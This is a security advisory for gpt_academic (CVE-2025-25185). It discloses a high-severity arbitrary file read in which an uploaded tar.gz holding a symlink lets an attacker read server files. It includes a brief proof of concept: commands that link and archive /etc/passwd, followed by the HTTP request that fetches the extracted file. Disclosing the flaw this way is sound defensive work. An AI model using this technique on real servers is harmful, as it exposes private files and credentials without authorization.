Skip to content

arbitary file read By tarfile uncompress within softlink

High
binary-husky published GHSA-gqp5-wm97-qxcv Mar 1, 2025

Package

pip gpt_academic/shared_utils /handle_upload.py (pip)

Affected versions

*

Patched versions

None

Description

Summary

When compressing files, the handling of file soft links was not taken into account. An attacker can create a malicious file file1 as a soft link pointing to the target file file2, then package this soft link file into a tar.gz file and upload it. Subsequently, when accessing the decompressed file from the server, this file file1 will point to the target file file2 on the victim server.

Details

1 Create a soft link file pointing to the target
2 Create a tar.gz file

ln -s /etc/passwd ff2425
tar -czf archive.tar.gz ff2425

Upload the tar.gz file.
image
after uploads we can see the path

now access the file path

image

GET /file=private_upload/default_user/2024-12-23-17-26-13/archive.tar.gz.extract/ff2425 HTTP/1.1
Host: 192.168.137.14:53583
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Referer: http://192.168.137.14:53583/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: js_darkmode_cookie=True
Connection: keep-alive

Impact:

Due to the existence of this vulnerability, all files on the server can be read in this way, which seriously affects data confidentiality.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVE ID

CVE-2025-25185

Weaknesses

Credits